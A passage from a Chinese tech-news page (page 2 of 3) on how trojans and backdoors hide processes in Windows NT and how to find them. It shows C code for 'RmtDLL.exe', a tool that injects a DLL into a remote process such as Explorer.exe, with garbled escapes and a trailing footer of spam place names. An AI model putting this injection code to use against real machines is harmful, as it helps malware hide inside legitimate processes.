新聞中心

        EEPW首頁(yè) > 嵌入式系統(tǒng) > 設(shè)計(jì)應(yīng)用 > 木馬/后門程序在WINNT中進(jìn)程隱藏及查找的方法

        木馬/后門程序在WINNT中進(jìn)程隱藏及查找的方法

        作者: 時(shí)間:2012-07-02 來源:網(wǎng)絡(luò) 收藏

         // 計(jì)算目前有多少, aProcesses[]用來存放有效的PIDs

        本文引用地址:http://www.104case.com/article/148821.htm

          if ( !EnumProcesses( aProcesses, sizeof(aProcesses), cbNeeded ) ) return 0;

          cProcesses = cbNeeded / sizeof(DWORD);

          // 按有效的PID遍歷所有的

          for ( i = 0; i cProcesses; i++ )

          {

          // 打開特定PID的進(jìn)程

          hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |

          PROCESS_VM_READ,

          FALSE, aProcesses[i]);

          // 取得特定PID的進(jìn)程名

          if ( hProcess )

          {

          if ( EnumProcessModules( hProcess, hMod, sizeof(hMod), cbNeeded) )

          {

          GetModuleBaseName( hProcess, hMod,

          szProcessName, sizeof(szProcessName) );

          //將取得的進(jìn)程名與輸入的進(jìn)程名比較,如相同則返回進(jìn)程PID

          if(!_stricmp(szProcessName, InputProcessName)){

          CloseHandle( hProcess );

          return aProcesses[i];

          }

          }

          }//end of if ( hProcess )

          }//end of for

          //沒有找到相應(yīng)的進(jìn)程名,返回0

          CloseHandle( hProcess );

          return 0;

          }//end of ProcessToPID

          //錯(cuò)誤處理函數(shù)CheckError()

          //如果iReturnCode等于iErrorCode,則輸出pErrorMsg并退出

          void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)

          {

          if(iReturnCode==iErrorCode) {

          printf(%s Error:%dnn, pErrorMsg, GetLastError());

          //清場(chǎng)處理

          if (pszLibFileRemote != NULL)

          VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);

          if (hRemoteThread != NULL) CloseHandle(hRemoteThread );

          if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);

          exit(0);

          }

          }//end of CheckError()

          //使用說明函數(shù)usage()

          void usage(char * pErrorMsg)

          {

          printf(%snn,pErrorMsg);

          printf(ttRemote Process DLL by Shotgunn);

          printf(tThis program can inject a DLL into remote processn);

          printf(Email:n);

          printf(tShotgun@Xici.Netn);

          printf(HomePage:n);

          printf(thttp://It.Xici.Netn);

          printf(thttp://www.Patching.Netn);

          printf(USAGE:n);

          printf(tRmtDLL.exe PID[|ProcessName] DLLFullPathNamen);

          printf(Example:n);

          printf(tRmtDLL.exe 1024 C:System32MyDLL.dlln);

          printf(tRmtDLL.exe Explorer.exe C:MyDLL.dlln);

          exit(0);

          }//end of usage()


        上一頁(yè) 1 2 3 下一頁(yè)

        評(píng)論


        相關(guān)推薦

        技術(shù)專區(qū)

        關(guān)閉
        主站蜘蛛池模板: 唐河县| 新蔡县| 北安市| 汉沽区| 克拉玛依市| 青海省| 洪湖市| 巴东县| 吕梁市| 怀来县| 上林县| 襄汾县| 广饶县| 洪江市| 玛曲县| 鄂托克前旗| 平凉市| 兴和县| 舒城县| 开封市| 慈利县| 大姚县| 德阳市| 若尔盖县| 昌都县| 增城市| 洛宁县| 三门县| 北宁市| 临洮县| 陆丰市| 长兴县| 兰溪市| 雅安市| 无棣县| 金塔县| 定兴县| 安庆市| 竹溪县| 商洛市| 辛集市|